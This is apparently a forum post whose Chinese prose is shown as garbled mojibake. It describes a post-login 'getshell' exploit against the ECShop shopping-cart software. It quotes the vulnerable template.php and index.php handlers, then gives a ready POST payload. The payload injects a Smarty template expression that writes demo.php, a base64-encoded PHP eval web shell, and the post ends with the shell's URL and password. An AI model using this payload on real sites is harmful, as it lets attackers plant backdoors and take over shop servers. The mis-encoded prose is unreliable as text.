admin ·¢±íÓÚ 2013-1-11 21:33:56

Ecshopºǫ́getshell

Ê×ÏÈ ecshopÓõÄÊÇsmarty ÕâÑù¾Í¿ÉÒÔͨ¹ýËüµÄfetchº¯ÊýÀ´Ö´ÐÐÄ£°å

¶øÄ£°åÀïÃæ¿ÉÒÔÖ´ÐÐËû¶¨ÒåµÄphp´úÂ룬ÕâÑùÖ»Òª¿ÉÒÔд³öÄ£°å È»ºóÕÒµ½µ÷ÓþͿÉÒÔÄõ½shellÁË
µ«ÊÇecshopËÆºõ²»Ö§³Ö{php}{/php}Õâ¸ö±êÇ©À´Ö´ÐÐphp´úÂë
admin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2   

3 {

4   check_authz_json('library_manage');

5   

6   $html = stripslashes(json_str_iconv($_POST['html']));

7   

8   $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //Ä£°åÎļþ

9   

10   $lib_file = str_replace("0xa", '', $lib_file); // ¹ýÂË 0xa ·Ç·¨×Ö·û

11   

12   $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

14   if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//д³ö

15   {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

18   }

19   else

20   {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22   }

23 }

ÄÇôÕÒ¸ö±È½Ï·½±ãµ÷ÓÃÁËÄ£°åµÄÎļþ
index.php

1 if ($act == 'cat_rec')

2   

3 {

4   

5   $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   

7   $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   

9   $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11   include_once('includes/cls_json.php');

12   

13   $json = new JSON;

14   

15   $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

17   $children = get_children($cat_id);

18   

19   $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // ÍÆ¼öÉÌÆ·

20   

21   $smarty->assign('cat_rec_sign', 1);

22   

23   $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//ʹÓÃÁËÄ£°åÎļþ ¸ÃÄ£°åÎļþΪrecommend_best

24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

27         echo $rec_array[$rec_type];

28   

29   die($json->encode($result));

30   

31 }

ÄÇô¾ÍÓÐÀûÓ÷½·¨ÁË
post°üµ½http://localhost/ec/admin/template.php?act=update_library
PostÄÚÈÝ£º

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

È»ºó·ÃÎÊhttp://localhost/ec/index.php?act=cat_rec

shelµØÖ·£ºhttp://localhost/ec/demo.php
ÃÜÂëc

Ò³: [1]
²é¿´ÍêÕû°æ±¾: Ecshopºǫ́getshell